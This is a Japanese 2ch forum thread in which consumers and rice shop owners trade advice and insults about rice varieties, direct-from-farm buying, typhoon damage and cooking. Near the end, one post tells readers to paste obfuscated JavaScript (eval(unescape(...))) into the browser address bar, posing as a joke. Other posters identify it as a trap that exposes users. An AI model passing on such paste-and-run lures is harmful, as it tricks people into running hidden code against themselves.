【消費者も】米・ごはん【業者も】

農家直販マンセーな人に質問。

今年は、何処の産地がお勧めですか？銘柄のお勧めは？価格も教えて君。

そんなもん自分で探せ

>>921
個人的には気に入った農家を見つけて長く付き合うのがよろしいかと。
ご自身のお気に入りの銘柄と産地で検索して、
絞りきれない場合は、候補の中から少量づつ試し買いしてみる。
すぐお気に入りがみつかると思いますよ。

>>923
ｵﾏｴ　ｳｾﾞｪんだよ
>>921は具体的に聞いてるんだから書き込みたかったらちゃんと答えろ。

>7
補助金やら保険ヤらとかよく勉強して発言しろ。台風災害に対して農家自体には補助金やら保険などはこないんだ。農家自身が拠出した共済金が支払われるだけだそれとて、生産費用ぐらいしかおぎなえないんだ

>921
今年は西日本の米は相次ぐ台風で品質はいまいちと思う(農家直販なら別）

>>921
>>924
こいつに教えてやっても無駄。潰れそうな米屋だものｗ
自分の店の売れ残りが山ほどあるだろ？
混ぜ直したりしないで、それを食ってなさい。

>914
品種も検査の対象でつ。

>926
台風効果で早めに刈り取る農家がたくさん居る。過熟にならなくてケッコウ。
今年は不作で取り実が少ないが南部の米（ヒノ吉備）は比較的高品質だよ。

>>927
売れ残りって15年産のことだろうけど

>>704
が書いてるとおりに、資金不足の潰れそうな米屋には古米在庫なんか無い。
現時点で古米在庫を抱えているのは大手卸と売り惜しみをしたお百姓ｻﾝだ。

ところでスレ読んでる？
脊髄反射のアンチ書き込みは荒らしと同じだよ。

農家のおっちゃんから買ってる。新米は30�`で7000円でした。

>>930
だからと言って>>924が好ましいとは思えない。
嫌われる教えてチャンの典型だよ。
>>923はヒントを随分書いているんだから。

荒らしとか粘着と書くレスに米屋さんが多い気がする。

>>932
かまっちゃいけません。
所詮、米屋はこのレベルです。


この質問自体、米屋が難癖つけたいだけの質問だから
親身に答えてあげるだけ無駄。
しいて答えるなら産直はどこで買っても
こんな米屋から購入するよりはうまいってことですな。

＞しいて答えるなら産直はどこで買っても
＞こんな米屋から購入するよりはうまいってことですな。

ププ・・馬鹿丸出し。産直ならなんでも良いんだね、君は。

本当は産直も買ったことないんでしょ？米屋からも買ったことない？

ネットの情報だけしか情報源のない引きこもりでしょ？

ただひたすら米屋を叩きたいだけのウジ虫くん。

>>934
まったく能天気なお人だ。
最後の２行は君の店が褒め称えられているんだよ。

僕はいつも無洗米を食べているので、
親に「今度送る時は無洗米にしてくれ」と頼んだら。
無洗米を送ってきたので食べたのですが、とにかく臭い。。。
なので無洗米なのに洗って食べてます。
最初はたまたまだと思ったのですが、そのあと貰ったものも臭かったです。
同じ無洗米でもそんなに違うのですか？

>>928
＞品種も検査の対象でつ。

品種のＤＮＡ鑑定してたっけ？

>>930
売れもしないのに見え張って、段済みしてある白米あるだろ。
それのことだよ。
リパックして精米日、変えたりするから
お客はいつの米を食わされてるかわからんな。
自分家で食えよな。

>>900
いつもは、もう少し安い米をホームセンターとかで買ってたんですよー
特に安いとは思わず、妥当だと思って落札したの
でも美味しかったから、結果としては安いお買い物でしたね
果物のおまけまで付けてくれたんですよ！
ちゃんとした農家なんだなあと思いました

>>901
未熟米のほうがだいぶ安いんじゃないかな？
美味しいのかどうかここでお聞きしたのですが、冒険っぽいなあと思い、普通のお米にしました。
銘柄わかんないし去年の米だけど、今までに食べてたのより美味しいから満足。

>937
検査員の目視による鑑定。
ＤＮＡ鑑定は生産者任意（費用は国費負担）で実施中。

友達の家、いつもは人気産地のコシヒカリなんだけど。
兄弟が関東の農家に嫁いで、新米を送ってきたらしい。
直送なのにまずくて、消費量が落ちたって。
混じりけのない農家直送とブランド米を比べちゃいけないのかな？

農家直といっても産地は重要だしょ

私は米屋だが・・・・

産直が良いなら、それはそれで良し。
米屋は米屋の生きる道があるんよ。
だからお互い認め合えば平常心。

産直ﾏﾝｾｰ君達も、ここでの米屋の
「あそこが良い、ここが悪い」の産地情報は為になるでしょ？
ならば両者仲良く情報交換の場として活用できるでしょ。
米屋もP宅消費者動向を知る事が出来るわけだし。
八方丸〜く収めましょ。

そう思うよ。
誰が書いてるかわかんないわけだから、自演もありと承知の上で
情報交換の場として有効に利用したほうがいい。
けなしあったってしょうがないよー。

ﾌｶｰﾂｷﾎﾞﾝﾇ
お米屋だけど何でも質問に答えます

1 ：頼りない米屋 ：04/07/06 16:58
お米屋だけど何でも質問に答えます11俵目
美味しい、不味い。
買い方、炊き方。
銘柄から良食味産地。
お米屋さんの裏話や疑問。
何でもお聞き下さい。
頼りない答えの場合は許してください。
同業者の方ﾏｯﾀﾘ助けるように。
第一章　　　http://food.2ch.net/test/read.cgi/food/1014544476/l50
おかわり！編http://food.2ch.net/test/read.cgi/food/1022118827/l50
秋の新米編　http://food3.2ch.net/test/read.cgi/food/1033173433/l50
第4章春編http://food3.2ch.net/test/read.cgi/food/1042349007/l50
「5杯目」http://food3.2ch.net/test/read.cgi/food/1049501173/l50
「6杯目」http://food3.2ch.net/test/read.cgi/food/1061599726/l50
「7杯目」http://food3.2ch.net/test/read.cgi/food/1065140534/l50
「8杯目」http://food3.2ch.net/test/read.cgi/food/1069809304/l50
「9杯目」http://food3.2ch.net/test/read.cgi/food/1075162771/l50#tag980
「10杯目｣http://food6.2ch.net/test/read.cgi/food/1080692009/l50
11 http://food6.2ch.net/test/read.cgi/food/1089100718/l50
番外　消費者も　米　ごはん　業者も
　　　　　　　http://food6.2ch.net/test/read.cgi/food/1094522525/l50

>>945
いらねって
しつこい野郎だな。業界板いけ！

こっそり「もぐもぐ名無しさん」で復活してたりして

いるいる。
相変わらず、角が立つ話しっぷりで偉そうな発言してるな。

また台風が来てるね。

流石にもう米には影響ないだろうけど
三食が米で青菜料理も多いうちにとっては
野菜の値上がりが実に痛い・・・

＞946

てめえがいらねぇんだよ！ボケ！消えろ！カス！

いつまで粘着してるんだよ！うじ虫！

>>948
確かに、たまに来てるみたいだけど、
以前とは、随分と印象が変わったと思うけどね。
理由もなく粘着するのは、男としてみっともないよ。
>>950
そう言う言い方はｲｸﾅｲよ。

>938 売れもしないのに見え張って、段済みしてある白米あるだろ。
精米設備を持っている米屋で何日分も精米して袋詰めにしていないよ
長くっても３日分ぐらいだよ
精米設備を持っていない白米専門店は知らないけれど…
でも、今は卸も小回りが効くようになってきたので小ロットで配送してくれるようになったので

>>919
５Kで1900円のところ、特売で１６００円位でかったやつだよ
宮城県さんアキタコマチ、、
いままで食べてたひとめぼれと比べると。。。。
普通かな？
思ったより水気少なかったかも
もっとコシのようにみずみずしいかと思ったよ
サンマが美味かった

今年の、ネット販売のとか色々みたけどミルキークイーンどこも売りきれ
なのね。。。食べたかった_|￣|○

>>954
ヤフオクでミルキークイーンを検索したらいっぱい出てきたよ。

>>954
ミルキーは一頃いろんな米屋さんで扱っていたけど、最近少なくなったね。
ブームって言ってしまえばそうなんだけど、ウチでお願いしている生産者も作付けを減らして
今じゃはウチの分しか作んなくなっちゃった。
それもたいした量じゃないから本当はやめたいみたいなんだね。
でも、小数ながら、ファンを作ったからにはお互いに責任を果たさなきゃってことで
やってるけどね。
こういう特殊なお米は『無いから代わりにこれ』ってなワケにいかないし。
前述の『夢ごこち』。これも低アミロース米だから機会があったら試してみてね。

>>953
あれ？宮城だったの？>>917で茨城って書いてあったから・・・。
宮城のコマチは扱ったことないから、何とも言えないです。スマソ。
去年以前は宮城ヒトメは美味かったからねぇ。それと比べると辛いかもね。
さすがにコシヒカリほどのネバリはないものの、バランスの良い米だった。
僕の周りの友人には、一番人気のあった米でしたよ。
サンマ・・・俺も食いたくなってきちゃったよ。

>>957
茨城産アキタコマチでした、スマソ
なんで書き間違えたんだろ。。_|￣|○
昨日の夜炊いた奴今朝食べてるんだけど、今朝のほうが美味く感じる
なんでだろ・・・。
これにミルキークイーン混ぜて食べて見たいな
夢ごこちって品種もちょっと探して見るか

どうやったら米粒がたつの？
ところどころうじゃけちゃったりして、炊き具合にムラがでちゃうんだけど、
これは炊飯器のせい？

>>959
うじゃけるって何？

うじゃける＝うじゃじゃける

うじゃじゃける
（動カ下一）
(1)熟したり腐ったりしてやわらかくなって形がくずれる。うじゃける。
「眼は死んだ魚のやう、…白く―・けてゐる/暗夜行路（直哉）」
(2)姿・服装が見苦しいようすになる。うじゃける。
「髪も六分通りは白く、顔も―・けてゐたけれど/縮図（秋声）」

三省堂提供「大辞林 第二版」より

>>959
良いとされる米を選ぶ。
適正な水加減。升目で同量が基本。一合の米には一合の水。
火力の強い炊飯器で炊く。
カニ穴が開いて米粒が立つ。

うわぁわぁわああああん！（＞△＜）

おわた、おわたよ！

完全におわたよ!（Ｔ△Ｔ）

日経大暴落したーーーーーー

まさに「うじゃけた」わけやね
スレ違いだけどご愁傷様。

今年の新米がうますぎる！
普段ほとんど外食しているけど、最近は新米食べたさに自炊しています
もう5年間1人暮らしだけど、こんなこと初めてだ

>>965

それは、本当に新米か？

まあまあおまいら
これでも見ておちつけよ

（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。

１、
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'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

見慣れたスレのデザインが・・・
俺はこれをやって思わず笑ってしまったよｗｗ

そんな怪しいJavaをほいほい実行できるのは
お前みたいな厨房くらいのモンだろ。

>>968
これは最近はやりのフシアナトラップ。

>>968
コピペにいちいち反応するなばか